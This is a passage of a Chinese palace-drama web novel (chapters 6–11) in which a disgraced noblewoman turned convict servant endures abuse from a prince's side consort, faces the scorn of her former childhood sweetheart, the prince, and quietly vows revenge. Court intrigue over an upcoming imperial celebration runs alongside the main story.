刚进杂役司时,她不肯认输,与人争辩,结果被几名粗鄙宫婢按着往嘴里塞马粪。三日干呕,生不如死。再后来夜里哭泣,被嫌吵,拖去青石板上跪到天明,一跪便发高烧。
那一刻她才真正懂得:一旦失去家族庇护,什么才情、美貌、教养,全都如尘土般廉价。
她唯一能做的,只剩一个“忍”字。
杂役司里曾有个性子温和的宫婢偷偷劝她:“别做傻事,只要活着,就还有见到家人的那一天。”
那句话像一根芦苇,薄弱,却让她在泥沼中抓住了一线生机。
为了那一天,她活了下来。
活过鞭笞,活过辱骂,活过痛不欲生的**——
也活到今日,看见将她推进深渊的人。
今日的秋爽院,若说她心里没有恨,是不可能的。
在嘲笑声骤止的一瞬,她缓缓抬眸。眼中无怒,无羞,无畏,只剩一片沉寂如死水的冷。
那冷意,让邓馨儿心底顿了一下。
然而她很快重拾得意,嗤声道:“三年前人人称你才女,如今看着,却像第一衰女。你那护国公的祖父、父母,是如何教出你这样的贵女?也难怪那样的家风才会**军饷、作奸犯科——丢人现
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眼。”
话音一落,空气瞬间凝住。
乐阑珊的心,像被什么狠狠攥住。
侮辱她,她可以忍;侮辱护国公府——绝不可以。
她缓缓开口,声音虽轻,却字字带锋:“侧妃家教极好,规矩极严,所以……一个区区侧妃,也敢在众人面前自称‘本宫’?”
邓馨儿像被抽了一鞭,脸色瞬间惨白。
侧妃,当然不配称“本宫”。
她只是仗着都是自家人,想借机扬威。未料此处竟被抓住把柄。
“你——!”邓馨儿恼羞成怒,骤然起身,一把将托盘掀翻。
“嘭——”
茶盏落地炸裂成碎片。滚烫的茶水溅上乐阑珊的面颊,瞬间烫起一大片通红。
“跪下!”邓馨儿厉声。
乐阑珊直立如松,纹丝不动。她抬眼,冷静得像在看一个荒唐的笑话。
邓馨儿脸色越发铁青,挥手示意:“给我按下去!”
几个嬷嬷合力,将乐阑珊硬生生按跪在碎瓷之上。
碎片割破皮肉,鲜血慢慢渗出,在白皙膝头开出一朵殷红的花。
剧痛如潮水,从膝盖狂涌上心头。汗珠一颗颗滴落,浸透鬓边,却被她强行咬牙压下。
“疼吗?”邓馨儿俯身,抬手捏起她的下颌,语气柔软得几乎恶心,“疼就好。受不了,你就求本宫。”
她笑着问:“你说,我邓馨儿——能不能称‘本宫’?”
乐阑珊忍着剧痛,缓缓抬眸,目光扫过在场所有丫鬟嬷嬷,声音清晰如钟:
“侧妃既懂规矩,便该知晓‘本宫’乃宫中妃嫔和亲王正妃专属称谓。您今日僭越自称,若被宫中御史听闻,不仅您自身难保,怕是连平王爷都要被牵连‘治家不严’,累及朝堂仕途。”
话音刚落,邓馨儿脸色瞬间惨白如纸,下意识松开了手。
乐阑珊趁机挣开束缚,虽依旧跪着,脊背却挺得笔直:“奴婢出身护国公府,虽遭逢变故,却还记得祖宗传下的规矩——僭越之事,轻则丢官,重则株连。侧妃今日教奴婢规矩,不如先自省己身,免得日后祸及满门,追悔莫及。”
周围的丫鬟嬷嬷吓得纷纷低头,无人再敢附和邓馨儿。
邓馨儿气得浑身发抖,却偏偏被戳中要害,一句话也反驳不出——她最忌惮的,便是失去侧妃之位,连累家族。
乐阑珊眼底闪过一丝冷光,这便是她隐忍三年换来的清醒:对付伪善者,只需一把撕下她的遮羞布。
第7章 你今天知道疼了吗?
日光从高处斜落,映得邓馨儿的眼光如钩刃般锋利,耀眼得逼人流血。
而跪在碎瓷片上的乐阑珊,背脊依旧挺直。
碎片刺进膝骨,鲜血顺着瓷角渗出,可她的眼神依旧冷静、稳固,像经霜的寒铁。
空气在这一瞬变得沉重。
她没有再说话,只是轻轻一笑。
那笑,让邓馨儿心底骤然一紧——像利刃轻轻撩过。
邓馨儿哪里看不懂?
对方在嘲笑她。
嘲笑她的手段、她的算计、她的挑衅……全都不够格。
“你笑什么?”邓馨儿怒火被彻底点燃,抬手便是一个巴掌。
“啪——!”
这一掌带着狠劲,逼得乐阑珊头一偏。几个嬷嬷见状狠狠按住她,动作粗暴,竟扯开了她胸襟的领口。
下一瞬,所有人都愣住了。
肩头与胸前,一道道暗红的疤痕如蛇蜿蜒,深浅交错,有的已结痂,有的仍呈现触目惊心的紫黑。
那不是一般鞭杖能留下的,而是——折磨。
邓馨儿倒吸一口凉气。
“乐姐姐,你……你怎么会受了这么多罪?”
她忽地捂住嘴,哭得肩膀轻颤。
乐阑珊一怔。
这哭……莫非她良心发现?
正疑惑着,一阵风声掠过。裴衍疾步而来,一把扶起邓馨儿。
“馨儿,你怎么哭成这样?”他的声音里满是心疼。
“王爷……”邓馨儿抽泣着,“妾身看姐姐身上这些伤,突然想起我们当年的情谊……实在难受。姐姐金枝玉叶,哪受得了这样的委屈……”
“你性子就是太软。”裴衍轻声安抚,却转头冷冷看向乐阑珊,“她受罚,是她应得。护国公**军饷,她身为后辈,受些罪也是赎罪。”
死一般的沉默。
裴衍的视线扫过跪在碎片上的乐阑珊,眉头微皱:“她为什么跪在这?”
一个嬷嬷立刻跪下答话:“回王爷,侧王妃教她奉茶,她手脚笨拙,不小心打翻了茶杯,是她自己求着要跪罚。侧王妃善心,正要扶起她,谁知看到了伤,情绪便激动了。”
裴衍闻言,握住邓馨儿的手,眼中满溢赞赏。
“馨儿,你向来善解人意。她一个罪奴,本就该受点苦。”
乐阑珊眼中的笑意更深,却苦涩得近似荒凉。
原来在他们眼中——
罪奴天生该被踩在泥里,天生该被怀疑,天生没有道理可讲。
无论事实是什么,只要她是乐阑珊,便一定是错。
她在杂役司三年见得太多:同样的事情,别人可以安然无事,她却永远是被罚的那个。
无论她说什么,都没有人听。
正是这种窒息的“不公平”,压得她窒息又清醒。
“咦?”裴衍突然注意到邓馨儿的手掌,“你的手怎么流血了?”
邓馨儿装作慌乱,赶忙要将手缩回,却被裴衍牢牢抓住。
嬷嬷刚要解释——
“是我伤的。”
清淡如水,却硬生生压住了所有声音。
殿内瞬间死寂。
所有目光都投向跪在碎片里的乐阑珊。
那手是她趁着邓馨儿注意力在裴衍身上,拿起一块碎瓷片直接割了过去。
反正做不做,她们都会设陷阱害自己,不如索性做了,让邓馨儿也流流血、体验一下钻心的痛。
裴衍脸色一沉,怒气骤起:“你——!”
他上前一步,显然是要施以惩戒。
可乐阑珊忽然挺直身子,抬眸迎上他的目光。
她的眼睛清亮,却冷得能冻住刀刃——
像是在说:
你动吧,你若敢,我便不再留丝毫旧情。
裴衍脚步一滞,竟被她逼得说不出话来。
邓馨儿连忙上前,拉住裴衍:“王爷,不怪乐姐姐,是我自己不小心摔倒的。”
“你还替她说话?”裴衍恼火地看她一眼,又瞪向乐阑珊,“你在杂役司待了三年,本王以为你已知错悔改。可你还是这样顽冥不化。本王的一片苦心,都白费了!”
苦心?
乐阑珊胸口猛地一震。
原来他连现在都愿意相信别人一面之词,不愿看她一眼。
她心口发冷。
可她脸上却无悲无愤,只道:“那王爷希望奴婢如何做,才算不再顽冥不化?”
裴衍张了张口,却一句话也说不出来。
邓馨儿见状,忙眼神一闪,柔声道:“王爷在气头上,嬷嬷们,把乐姐姐先扶下去吧。叫府医给她上药,让她休息几日。”
嬷嬷们齐声应是,粗暴地将乐阑珊拉起。
她腿脚本就受伤,被这么一拽,几乎站不稳,只能被半拖着往外走。
碎瓷片上,血迹斑斑。
邓馨儿连忙靠进裴衍
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怀里,将他的身子拉转,让他背向那一片狼藉。随即,她顺势偎进他怀里,双臂环住他腰身,柔声道:
“王爷,妾身不怪乐姐姐。王爷别再动气了。”
裴衍轻抚她的头,声音温柔如春风:“你和当年一样,心软又重情。可惜,她变了,变得不懂事,不知理。”
邓馨儿轻声叹息:“在杂役司那种地方熬着,谁都会变。再加上护国公府的旧事。唉,家风不正,她落到如今,也是命。”
“你以后别叫她乐姐姐,”裴衍冷声打断,“她不过是个罪奴。虽本王向圣上求了恩典,让她离开杂役司,但她若不知悔改,永远都是罪奴。”
邓馨儿埋在他怀里,嘴角勾起得意又阴狠的弧度。
裴衍低头托起她受伤的手:“还疼吗?”
“疼。”邓馨儿低声娇吟。
裴衍立刻打横将她抱起,大步走向卧室。
乐阑珊被嬷嬷拖着走得极慢。
没几步,裴衍便抱着邓馨儿越过她,连头也未偏向她一眼。
熟悉的怀抱,曾经的温柔,如今全成了别人的。
她看着裴衍的背影,忽地想起幼时的画面——
“衍哥哥,你以后也要这样背我,好不好?”
“傻丫头,你长大了,该是抱着你了。”
“为什么不是背?”
“长大就懂了。”
她的确长大了。
可这怀抱,这背,都再不是她的。
邓馨儿隔着裴衍的背,向她投来胜利的笑意。
乐阑珊抬眼,回以一记冷得能割人的锋芒。
邓馨儿的笑僵住了。
“我一定会让王爷把他给你的心,全收回来给我。”
邓馨儿的眼神冷戾,分明在“说”。
“那又怎样?我早已把他从心里丢得干干净净。你爱捡,就捡去吧。”
乐阑珊的目光反击得更狠。
“我要看着你如何被王爷一点点弃到彻底。”
邓馨儿不甘示弱。
“今日你欺辱我,自己也流血。痛吗?下次我让你更痛。”
乐阑珊的眼神几乎像刀。
邓馨儿恼怒得发抖,却在裴衍怀中不敢发作,只能狠狠瞪她一眼:
——你给我等着。
就在此时——
“瑞王爷到——!”
府兵的高喊声振得空气一颤。
裴衍的脸色,瞬间黑了下来。
第8章 瑞王来访
通报声尚在回荡,瑞王裴诚已步入殿中。
他一双含笑的眼倏地扫过满室狼藉,眸光微顿,语气却依旧轻松:“哟,王弟来的不是时候,倒似打扰了四哥与四嫂的雅兴。”
裴衍的神情明显一僵,却很快掩去:“六弟说笑了。”
他的目光从邓馨儿身上收回,压着火气问:“六弟突然造访,可有要事?”
邓馨儿满腹怨气。
她眼见王爷方才抱着自己往内殿而去,春意将启,不想被裴诚这一声通报生生斩断。恨意都快从指尖溢出来了。
裴诚却仿佛全然看不见她的脸色,闲闲一笑:“兄弟相访,需要什么要事?”
说着,他像是突然瞧见乐阑珊似的,装出一副恍然模样:“咦,这不是王弟亲自送来的罪奴吗?瞧着待遇不错嘛,一回来就能享受这么多嬷嬷伺候。”
一句话落下,周遭几名嬷嬷心口一颤,不约而同地松手。
支撑尽失,乐阑珊腿上传来的剧痛如锋刃割骨,她整个人向前扑倒在地。
“这奴婢腿上怎么一片血污?”裴诚眉头微扬,像是惊讶,又像是打量某件货物的瑕疵。
邓馨儿立刻上前,一指乐阑珊,语气凌厉:“瑞王爷问你话,耳朵聋了吗?主子开口,奴婢便要立刻答话!”
乐阑珊脸色苍白,却用清澈冷静的眼神望向邓馨儿,缓缓开口:“奴婢乃平王府之人。方才平王爷并未问话。”
一句轻柔的反击,像是无声的耳光。
邓馨儿嘴角一僵,竟一时接不上句。
裴诚轻笑:“四嫂不必与奴婢置气,本王随口一问罢了,她答不答与本王也无甚干系。”
话虽云淡风轻,却生生把邓馨儿的威风按回了肚里。
经过这番点破后,裴衍终于注意到乐阑珊腿上的血。
血顺着碎瓷、沿着地砖蜿蜒,触目惊心。
他眉峰微皱,先看了乐阑珊,再看邓馨儿,眼里尽是疑问。
邓馨儿轻轻一笑,硬是挤出温柔:“或是方才不小心摔着了。妾身这就命府医为她上药。”
她转身吩咐:“扶她下去。”
此番口气听似关怀,几个嬷嬷却心领神会,只得架起乐阑珊朝外走。
相比方才横拉硬拽,这一次倒真像是扶持。
经过瑞王身旁时,乐阑珊与裴诚对上视线。
她的眼里有恨、有疑、有冷意……更多的是一种“无所谓”的死寂。
裴诚的眼眸波澜不惊,像看不见,也像什么都看得太清。
等一行人走远,裴诚轻叹:“四哥,平王府待下还真不错,六弟开眼了。”
裴衍脸色阴沉:“六弟今日究竟所为何来?难不成真是为本王的一名奴婢?”
“还真是。”裴诚轻笑,“四哥既收下王弟送来的奴婢,这份辛苦费,总得给吧?银子就算了,倒不如赏我两壶好酒。”
裴衍无言。
只得吩咐厨房备酒菜,陪瑞王坐入偏厅,边饮边扯些不痛不痒的闲话。
邓馨儿不得不独自回院,越想心越委屈,泪落如雨。
她一哭,满室丫鬟嬷嬷都吓得心颤。
邓馨儿最忌不顺,她每一次哭,就意味着有人要倒霉。
片刻,一名嬷嬷壮着胆子小声道:“王妃,今日皆因那乐阑珊。若不是她搅局,瑞王怎会撞见王爷,坏了王妃的兴?”
“对,都是那妖女!”
“狐狸精一个!”
听着这些骂声,邓馨儿的恨意终于找到了宣泄口。
她眼神陡然森冷:“传令下去——府中任何人不得给她好脸色!好好教教她什么叫规矩!”
——
傍晚时分,柴房旁的一间破旧小屋内。
乐阑珊被拖了进来。
嬷嬷推门,随手一指:“以后,这就是你的房。”
话音落下,她们笑着散去,门板被甩得砰然作响。
屋内昏暗,尘埃在光束里游移。
破桌残椅一堆堆杂陈,梁上蜘蛛网密布,到处是霉味与积灰。
连窗户都空了,只剩骨架,像被啃食一空的尸壳。
可乐阑珊静静立着,没有一丝嫌恶。
杂役司三年,她见过的苦,比这间破屋黑百倍、冷千倍。
这地方虽破,却能遮风避雨,且是属于她一人的安身之所。
她甚至轻轻笑了一声。
当年护国公府的嫡女,用的一切都是最上乘的。
她挑剔得很,挑衣挑
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饰挑香粉,挑得连裴衍都曾无奈道:
“阑珊这样挑下去,莫非想日后当皇后?”
想起那句戏笑,她胸口像被什么刺了一下。
曾经被捧在掌心,如今落到连废物都嫌弃的角落。
但至少这里安静。
没有鞭子,没有辱骂,没有人夜里揪她的头发让她跪在石板上。
这已经算奢侈的好。
她淡淡吸了口气,开始打水准备整理屋子。
腿痛似火、手臂无力,可这些痛对她而言早已稀松平常。
就在她搬动一张缺腿的桌子时,重物纹丝未动。
她连试几次,都只牵扯得旧伤发麻。
就在这时,一道清脆的声音响起:
“姐姐,我来帮你吧。”
一名穿粗布衣的少女站在门口,眉眼干净,怯生又明亮。
“你是……”乐阑珊问。
“奴婢是柴房的小媛。”
少女抿唇轻笑,“姐姐搬不动,这些我来。”
乐阑珊仔细打量她。
干净、瘦小、眼角带青,却与自己竟有六七分相像。
她心里一颤,却只问:“柴房就你一个丫鬟?”
“是。”
小媛点点头,“劈柴运柴都是男仆的活,守柴房的只有我。”
“你年纪轻轻,怎会被派来这种苦差?”
小媛面色有些红,像是羞又像委屈:“奴婢原本在前院伺候,自从侧王妃进府后,不知为何,她看奴婢不顺眼,只要见着就骂。最后直接把奴婢赶到柴房了。”
她眼眶泛红:“奴婢五岁进府,十年来兢兢业业,不知哪里就得罪了侧王妃。”
乐阑珊默默看着这张与自己相似的脸,心下已有七八分明悟。
她轻声道:“以后别在我面前称奴婢。你我同是下人,若不嫌弃,就叫我姐姐。”
小媛怔住,继而欣喜点头:“好!姐姐来了,小媛不怕了!”
就在两人继续收拾时,屋顶突然掠过一道影子。
压低的光线一闪,像有某个身影飞快横越。
乐阑珊却心口一紧,缓缓抬头。
破屋檐下,风声冷得像要切开皮肉。
——平王府,比杂役司,不见得更安全。
第9章 柴院风变
小媛见乐阑珊神色微僵,便怔怔问:“姐姐,你怎么了?”
乐阑珊眸光只停顿了一瞬,便垂下睫羽,淡声道:“无事。”
她从容敛起心绪,“有热水吗?我想清洗一下身子。”
小媛应声而去。
屋中重新恢复静寂。
昏黄光线穿过残窗骨架洒落地面,尘埃在空气中缓缓流动,仿佛无数细微目光扫过。
乐阑珊轻轻吐了一口气。
小媛太单纯,而自己在杂役司三年,“风吹草动”都能闻出危险气息。
刚才屋顶掠过的影子绝不简单。
她责备自己——
她的心念居然一闪就落在脸上,被小媛察觉。
她不能再有这种疏漏。
收敛心思,她低头查看腿上伤口。碎瓷片割开的血迹已经凝固,布料与伤口粘在一处,稍一拉动就牵心揪肺。
但她没有立刻处理。
她知道小媛很快会端来热水。
脚步声在屋后响起。
她以为是小媛,便懒得去关门,开始缓缓脱下外衣。
刚解到内衣尚未褪下——
腰间却被一股狠劲死死扣住。
下一瞬,她整个人被狠狠压在了冰冷墙壁上。
梧桐影从窗框里倾泻而入,她在恍惚间对上一双满含怒火的眼。
裴衍。
他像破门而入的风暴,一掌捏住她的下颌,指骨冰冷而凌厉。
“真是出落得好不知廉耻。”
他咬着字,语气冷得像霜刃,“听见本王来,就迫不及待宽衣解带?在杂役司,你学的不止是走路的浪态,还学会勾引男人了。”
乐阑珊被他的力道掐得几乎喘不过气,她双手撑住他手腕,艰难道:“奴婢不知道是王爷驾到。好几日未能洗澡,身上污垢难耐,所以只是想洗一下。”
“洗澡?”裴衍冷笑,“那为何不关门?”
“腿上有伤,行走不便。”
她语声平静,“在杂役司洗澡,是几十人共用的大屋,门从来不关。”
“这是平王府,不是杂役司!”裴衍怒意更炽。
“王爷会来柴院?”
乐阑珊忽抬眼,淡淡反问,“这里堆放废弃杂物,连下人都不愿多看一眼。奴婢不曾想过,王爷会屈尊来此。”
一句“屈尊”,像刀子一样落在裴衍心口。
他想反驳,却哑住了。
为什么他真的踏进了这个破败柴院?
为什么会为了她腿上的血而心头一紧?
为什么看到她褪衣的背影就怒从心底涌出?
他自己也无法解释。
而她竟然——
让他走。
乐阑珊忍着呕意,用尽最后一丝力气推开他:“王爷既已看见这里如何,还请移步。免得污了王爷的眼。”
裴衍心口莫名一震。
自小到大,他要走时,她总会想尽办法留他。
有时候借口,有时候撒娇,有时候故意绊他……
可今天——
她在赶他。
“你就这么盼着本王离开?”他的声音压得低沉。
“你心里,是不是惦记上别人了?是瑞王?”话一出口,他自己都愣了。
乐阑珊轻轻一笑,那笑里有自讽,有凉意:“王爷抬举奴婢了。我一个罪奴,哪位王爷会多看一眼?”
裴衍冷哼:“当本王是傻子?瑞王亲自拉马送你来到平王府,今日又突然折返,不就是为了你?”
乐阑珊抬眼,目光沉静得像深井:“王爷既已认定,奴婢说什么都有罪。”
裴衍被噎得心口发闷,不知为何竟有一丝慌乱。
正要继续逼问时,远处传来府兵高声喊:
“瑞王爷到——!”
裴衍脸瞬间沉如墨。
手一甩,转身大步离去。
柴院门口瞬间寂静,只留下风声。
片刻后,小媛从柴垛后探出半个脑袋,提着一桶热水,心悸道:“是王爷来了?吓死我了。”
乐阑珊望着裴衍离去的背影,神色冷静,却在心底深处隐隐一痛。
当年那个无论何时都会替她挡风遮雨的少年,再也不会回来了。
如今的裴衍,偏执、猜忌、冷酷,连一句关心都带着刺。
她压下所有情绪。
三年罪奴,早教会她——
不能依赖任何人。
她唯一能做的,是活下去。
活得更久、更稳、更狠。
直到她能替护国公府讨回公道。
她平静地开始洗漱。
柴院没有浴桶,只能由小媛提瓢,一瓢一瓢地浇
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到她身上。
衣衫滑落,伤痕宛若蛇盘骨,缠绕了半条背。
有些暗红,有些乌紫,有些是被马鞭卷开的死皮。
三年间累积的疼痛在这一刻暴露于空气。
小媛吓得手都抖了:“姐……姐姐……”
“拿稳。”
乐阑珊声音冷静得仿佛那是别人的身体。
热水浇落,一道道伤口被重新烫开,她却连眉都未皱一下。
换好衣物时,小媛躲在角落里哭得肩膀都在颤。
乐阑珊走过去,轻轻拍了拍她的肩:“别哭。如果你看这些伤会哭,我怕你已经哭死几百回了。”
“姐姐……你究竟遭了多少罪……”
“多得数不清。”
乐阑珊眸光沉静,“但放心,我受过的每一份痛,终有一日——都会一一讨回来。”
——
夜色笼罩王府。
书房里烛火摇曳,影子在墙上拉得狭长。
裴衍与裴诚对坐。
“六弟怎么又折回来?”裴衍语气冷硬,“谢酒不是喝过了?”
裴诚端起茶,缓缓笑道:“回去路上,忽然想起太后千秋将近,想来与四哥商量一下。”
裴衍眉心一跳:“生辰?宫中不是自有规制?”
“有规制。”裴诚含笑,“但今年不同。听闻父皇欲让皇子主持庆典。”
裴衍眼底闪过一丝惊色:“父皇亲选?”
“未必。”裴诚摇头,“王弟听闻,父皇有意让朝臣举荐。”
空气瞬间一凝。
自太子被废后,风起云涌,一静一动都牵连深远。
若得此权,意味着皇帝亲眼衡量、亲手考校。
是试金石——也是刀。
裴衍眯了眯眼:“六弟推本王上去是何意?你自己为何不争?”
“王弟出身卑微,怎敢僭越。”
裴诚含笑起身,长揖一礼,“若四哥真被选上,王弟愿尽全力。”
裴衍看着他的笑,忽然觉得背脊生寒。
裴诚今日一连三次造访,语气和善、说话周全,却处处藏锋。
像是在挑拨,又像在铺局。
烛火摇摇,墙上的影子狰狞。
裴衍心中忽隐隐觉得——
一场无形的风暴,悄然在平王府上空成形。
第10章 冰与火
破旧的小屋里,月色透过残窗漏进来,被斑驳的木壁割裂成碎银般的光。
乐阑珊收拾完这间“漏屋”时,已然精疲力竭,便靠着墙,和衣躺下。
然而,她睡得格外沉。
三年了,她不是在阴湿的地铺,就是在漏风的破棚里,每一夜都惊心动魄,梦一入便如坠落深渊。
而今晚,在这间堆满废物的柴院小屋里,她竟第一次觉得——安稳。
哪怕屋顶有裂,哪怕窗只有框,哪怕灰尘积得能“摘下来”,可这一隅之地,是只属于她的。
这是奢侈。
当疲惫彻底将她吞没,连心跳的警觉都被削钝,她终于沉沉睡去。
不知过了多久,朦胧里,一股轻微的触动落在她身侧。
她倏地睁眼,警觉如刀。
柴院黑沉沉的一片,小媛正弯腰给她盖上一床破旧的薄被。
被子污迹斑斑,甚至带着霉味,但小媛却如同面对一个宝物。
小媛被吓了一跳,连忙摆手:“姐、姐姐别误会……这里夜里湿寒,我怕你受凉。”
乐阑珊一瞬间怔住了。
她自幼锦罗玉裳,睡的是软榻锦被;
如今一床破被,竟能让她心里蓦地一紧。
是命苦,也是命硬。
她正要开口,一股急促杂乱的脚步声迅速逼近。
“开门!”随着怒气滔天的呵斥,一嬷嬷领着几个粗使侍女冲进来。
灯火照亮了狭窄的屋子,也照出她们眼中的轻蔑与恶意。
“装死装到了这个时辰!”嬷嬷冷笑。
乐阑珊抬眼,神色平静,像看一场旧戏。
比这更恶的,她在杂役司见过太多。
“去,把全府的恭桶收一遍。主子等着起晨。”嬷嬷抬手一挥。
侍女们上前欲拉她。
乐阑珊起身:“不用。我自己去。”
小媛急急跟出,刚到门口却被嬷嬷拦住。
“劈柴的活你今天加倍。劈不完,就别想吃饭。”
小媛吓白了脸。
乐阑珊心底一沉——她受牵连了。
但她没有回头。此刻多说一句,只会让小媛受更多。
她抿唇:“小媛,我会记着你今天的。”
不是承诺,是誓言。
……
王府的恭桶沉如巨石。
以往至少三四个丫鬟合力才能搬动,可现在整个府里,只有她一个“罪奴”负责。
伤腿一拖一拽,手臂发颤,指节泛白。
走到后面时,她的腰几乎直不起来,脚步似踩在刀尖上。
最艰难的,是平王寝殿。
嬷嬷命令:“跪着进去。”
冰凉的大理石地面贴上膝盖的瞬间,仿佛将刀锋刺入她骨中。
她全身一震,却一声未出。
一点一点挪进去,像极了被剥尽傲骨的囚兽。
刚要起身拎起恭桶——
脚下一滑。
有人在门口洒了洗脸水。
“啪——”
她整个人重重摔下,恭桶翻滚,污秽瞬间溅了一地。
空气在一瞬间死寂,随即响起邓馨儿尖细的惊叫:
“怎么这么腌臜?王爷正在耕耘子嗣!难道想害妾身吗?”
裴衍掀开帷帐,脸色铁青,一步步朝前走来。
他捂着鼻口,却仍忍不住斥责:“这是怎么回事?”
嬷嬷立刻跪地,声音比刚才柔上十倍:“回王爷,新来的婢子不懂规矩。本只让她跟着看,她偏要自己进来做活儿。”
邓馨儿立刻接话:“看吧,就是这点心机。装可怜装勤快,还不是为了靠近王爷?”
乐阑珊抬头,发丝滑落脸侧,眼神冷得像一把刚出鞘的刀。
“王爷以为,我乐阑珊,会甘愿为见你一面,把自己弄得浑身污秽?”她缓缓开口。
裴衍怔住。
邓馨儿冷笑:“哟,说得好像你配似的。”
乐阑珊淡淡看她一眼:“我不配,你配?”
邓馨儿脸色骤变:“你——!”
她忽然捂住肚子:“王爷……妾身难受……恐怕是受腌臜之气……”
裴衍大惊,忙扶住她,怒指乐阑珊:“你真是……越发低贱可憎!”
嬷嬷见状,立刻推了乐阑珊一把:“跪下!王爷的鞋不能踩脏了。趴下,让王爷从你背上踏过去!”
她再无力反抗,被压在地上。
冰冷的污水漫过脸颊,一股刺鼻臭味钻入鼻腔,呛得她胃里一抽。
但她死死咬住牙关——不吐、不退、不屈。
裴衍抱着邓馨儿,准备从她背上迈过去。
那一脚,沉重、刺骨,像是把
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她的过去、她的天真、她的心,一并踩碎。
只一步。
但足以将三年前的梦,全数碾灭。
邓馨儿趴在裴衍肩头,得意的眼神俯视她——
像看一块被踩扁的泥。
乐阑珊撑着地面,一点点爬起。
她记得一幕多年以前。
那时雨天,她不慎踩进泥水,泪眼汪汪。
裴衍脱下外衣,包住她,抱起她,替她丢鞋袜。
她在他怀中哭闹着,他耐心哄着:
“你这样娇蛮,将来谁娶得了你?”
她说:“衍哥哥啊。”
他刮她的鼻尖:“傻丫头。”
如今,不知是他忘了,还是故意不记了。
但她彻底记明白了——
从今往后,再无人值得她低头。
想到这里,她使出浑身力气,一下子直起身,直接掀倒了裴衍要迈上来的脚,而邓馨儿则直接被掀翻在地,摔到了污水上,头发和衣服都染上了污秽。
她忍不住尖叫了起来,却迎上了乐阑珊不屈和嘲讽的笑容。
“王爷,这个奴婢反了天了。”
“侧妃此言差矣,地上太滑,奴婢一人尚且滑倒,何况要承受王爷和王妃两个人的分量!”
邓馨儿恶狠狠地上前要扇乐阑珊巴掌,却被裴衍握住了手腕。
“馨儿,她说的有道理,这次就饶过她吧。”然后瞪了一眼乐阑珊,“你自己一个人把这里打扫干净,不干净不许吃饭。”
说完,不管邓馨儿心中怒气未消,拉着她去了她的寝殿清洗换装。
众人见状,赶紧跟着一起散开了。
乐阑珊嘴角含着微笑,用干净的衣角,擦去粪水,擦脸、擦发、擦身——
每一下,都像在剥离过去的自我。
她打扫寝殿整整一个时辰。
等彻底看不见一丝污渍时,她的手已麻木,腿几乎站不住。
肚子空得发疼。
昨夜没吃,今日又忙到晌午,饭堂那里她是不会得到一粒米的。
她走去湖边,捧起湖水润口。
浑浊的水带着草腥味,冰凉穿心,却是她今日唯一的食物。
她抓起几片及及草,硬吞下去,草叶割得喉咙生疼。
正当她俯身取水时——
湖面忽然出现一个倒影。
第11章 三日未食的难民
梧桐树冠沉沉垂落,枝影缠着晨光,投下一片微凉的暗斑。
乐阑珊抬起头,正对上裴衍燃着怒火的眼。
那目光锋锐的像能割裂空气,可落在乐阑珊眼中,却激不起半点惊慌。
她只是静静望着,像望着一场早已预料的风暴——无悲、无惧、无喜。
这种冷静,让裴衍心底莫名烦躁。
下一瞬,他猛地扣住她的手腕,将她拖至梧桐树下,一把将她按在粗糙的树干上。
“说!”
声音冷得像刀锋,“你为何要去收本王的恭桶?”
树皮硌得她背脊生疼,但她呼吸仍稳,声音沙哑却清晰:
“王爷,为何笃定,这是奴婢自愿?”
裴衍冷笑:“馨儿说,是你故意如此——为了引起本王怜惜。”
“她说,我就做了吗?”乐阑珊目光一顿,一字一字道:
“天底下何曾有奴婢靠收恭桶赢得主子的怜惜?”
裴衍心口被堵了一瞬。
是啊,她说得再对不过。
他竟然**馨儿那几句话牵着鼻子走?
手上力道陡然松开。
乐阑珊弯身咳了几声,像要把胸口的血腥味散出去。
她站稳后,不言不语,只轻抬眼睫,用那双沉静的眸子看着他。
那眼神里没有委屈,没有求饶,也没有恨。
只有一种——
远离了三年地狱后重生般的冷漠。
裴衍胸口一滞,莫名有种被人推远的恼意。
“既然不愿意,以后便别再做。”他硬声道,“你是京都第一贵女。”
“那是当年。”
她像在陈述一个已死的事实,“如今不过罪奴而已。愿不愿意,由得了我吗?”
梧桐叶“哗”地落下一片,打在两人之间,像突兀的叩问。
正在此时,远处传来轻软的呼声——
“王爷——乐姐姐——原来在这里。”
邓馨儿带着丫鬟缓缓走来,裙摆拖地,步摇轻颤。
然而从她的角度看——
裴衍与乐阑珊靠得很近,像是纠缠、像是拥抱、像是……吻。
她心腔猛地一紧,指尖攥得发白。
幸好秀清在后面扯了她一下,她才压下即将炸裂的怒。
下一瞬,脸上又换上一副得体柔美的笑。
“妾身好找。”她低声娇道。
裴衍怒火未散,冷冷道:“你看看你如何管的王府?竟让阑珊去收恭桶,还污了本王寝殿!”
邓馨儿眼圈瞬间一红。
“王爷说的是,都是妾身管理不善,让乐姐姐受委屈了。”
她柔声细语,一抬手,侍女便捧上一个饭篮。
“刚才听说乐姐姐未曾用膳,妾身担心,就命厨房重新做了些。”
裴衍眉色缓了缓,伸手覆住她指尖。
“馨儿,还是你心慈宽厚。”
说完,他转头命令:“阑珊,还不接着吃?等人喂?”
乐阑珊不言,只上前接过。
饭篮沉甸甸,她一眼便知——
这是准备拿去给裴衍的,半路被强行“洗白”成善举,转送给她。
她唇角轻挑,目光平静得刺人。
“侧妃既有此心意,那奴婢便恭敬不如从命了。”
她在廊下坐下,安安静静吃起来。
狼吞虎咽——却仍保有昔日贵女的自持;
吃得急,却不失气度;
整个饭篮被她吃得干净彻底。
裴衍怔住了。
那个从前吃饭要他哄三遍的小姑娘,如今像三日未食的难民?
那种反差,像在他心口划了一刀。
邓馨儿看见裴衍的视线停留在乐阑珊身上,心底一紧,忙上前:
“王爷,妾身觉得,乐姐姐会这些粗活不妥。不如放她去王爷寝殿伺候吧?”
乐阑珊怔了怔,裴衍却是一口答应下。
邓馨儿眼底闪过一丝得意。
——那是她的领地,她当然希望乐阑珊靠近。
靠越近,她才越好出手整治。
邓馨儿挽着裴衍的胳膊走了。
看着她得意扬扬的背影,乐阑珊只觉得好笑,心里思忖着:
“得意什么?当初你就是借着我的名号,才能接**王。后来也是借着我的名号,才嫁入平王府当了侧王妃。既然早上你提着篮子给平王送早饭,说明平王没有在你那里过夜。可见你的恩
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宠一般。”
回到柴院时,日光炙热,小媛正独自劈柴。
瘦小的身体被柴刀震得发抖,汗水沿脖颈流下,眼角还带着干涸的泪。
乐阑珊鼻尖一酸,心像被什么轻轻揪住。
她一把抢过柴刀。
“我来。”
“姐姐你有伤。”小媛鼻子一酸,泪一下滚下来。
“姐姐,你是我这几年遇到的第一个把我当人看的。”
乐阑珊的眼也红了。
柴院寂静,只有柴木落地的“哐当”声。
